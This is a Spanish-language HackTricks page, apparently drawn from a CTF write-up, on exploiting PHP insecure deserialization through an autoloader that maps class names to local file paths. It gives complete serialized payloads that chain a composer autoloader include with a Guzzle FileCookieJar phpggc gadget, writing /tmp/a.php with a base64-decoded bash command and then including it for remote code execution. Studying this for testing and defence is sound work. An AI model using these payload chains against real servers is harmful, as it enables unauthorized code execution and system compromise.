7.9 KiB
PHP - Deserialización + Clases de Autoload
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Primero, debes verificar qué son Clases de Autoloading.
Deserialización de PHP + spl_autoload_register + LFI/Gadget
Estamos en una situación donde encontramos una deserialización de PHP en una webapp sin ninguna biblioteca vulnerable a gadgets dentro de phpggc
. Sin embargo, en el mismo contenedor había una webapp de composer diferente con bibliotecas vulnerables. Por lo tanto, el objetivo era cargar el cargador de composer de la otra webapp y abusar de él para cargar un gadget que explotará esa biblioteca con un gadget de la webapp vulnerable a deserialización.
Pasos:
- Has encontrado una deserialización y no hay ningún gadget en el código de la aplicación actual.
- Puedes abusar de una función
spl_autoload_register
como la siguiente para cargar cualquier archivo local con extensión.php
. - Para eso, usas una deserialización donde el nombre de la clase va a estar dentro de
$name
. No puedes usar "/" o "." en un nombre de clase en un objeto serializado, pero el código está reemplazando los guiones bajos ("_") por barras ("/"). Así que un nombre de clase comotmp_passwd
será transformado en/tmp/passwd.php
y el código intentará cargarlo.
Un ejemplo de gadget será:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Si tienes una carga de archivos y puedes subir un archivo con extensión .php
, podrías abusar de esta funcionalidad directamente y obtener RCE ya.
{% endhint %}
En mi caso, no tenía nada como eso, pero había dentro del mismo contenedor otra página web de composer con una biblioteca vulnerable a un gadget phpggc
.
- Para cargar esta otra biblioteca, primero necesitas cargar el cargador de composer de esa otra aplicación web (porque el de la aplicación actual no accederá a las bibliotecas de la otra). Conociendo la ruta de la aplicación, puedes lograr esto muy fácilmente con:
O:28:"www_frontend_vendor_autoload":0:{}
(En mi caso, el cargador de composer estaba en/www/frontend/vendor/autoload.php
) - Ahora, puedes cargar el cargador de composer de la otra app, así que es hora de
generar la carga útil de phpgcc
para usar. En mi caso, utilicéGuzzle/FW1
, que me permitió escribir cualquier archivo dentro del sistema de archivos. - NOTA: La carga útil generada no funcionaba, para que funcionara modifiqué esa carga útil
chain.php
de phpggc y establecí todos los atributos de las clases de privado a público. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor. - Ahora tenemos la forma de cargar el cargador de composer de la otra app y tener una carga útil de phpggc que funciona, pero necesitamos hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget. Para eso, envié un array serializado con ambos objetos como:
- Puedes ver primero el cargador siendo cargado y luego la carga útil
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Ahora, podemos crear y escribir un archivo, sin embargo, el usuario no pudo escribir en ninguna carpeta dentro del servidor web. Así que, como puedes ver en la carga útil, PHP llama a
system
con algún base64 que se crea en/tmp/a.php
. Luego, podemos reutilizar el primer tipo de carga útil que usamos como LFI para cargar el cargador de composer de la otra aplicación web para cargar el archivo generado/tmp/a.php
. Simplemente agrégalo al gadget de deserialización:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Resumen de la carga útil
- Cargar el autoload de composer de una aplicación web diferente en el mismo contenedor
- Cargar un gadget phpggc para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)
- El gadget creará un archivo con una carga útil PHP en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
- La parte final de nuestra carga útil usará cargar el archivo PHP generado que ejecutará comandos
Necesité llamar a esta deserialización dos veces. En mis pruebas, la primera vez se creó el archivo /tmp/a.php
pero no se cargó, y la segunda vez se cargó correctamente.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.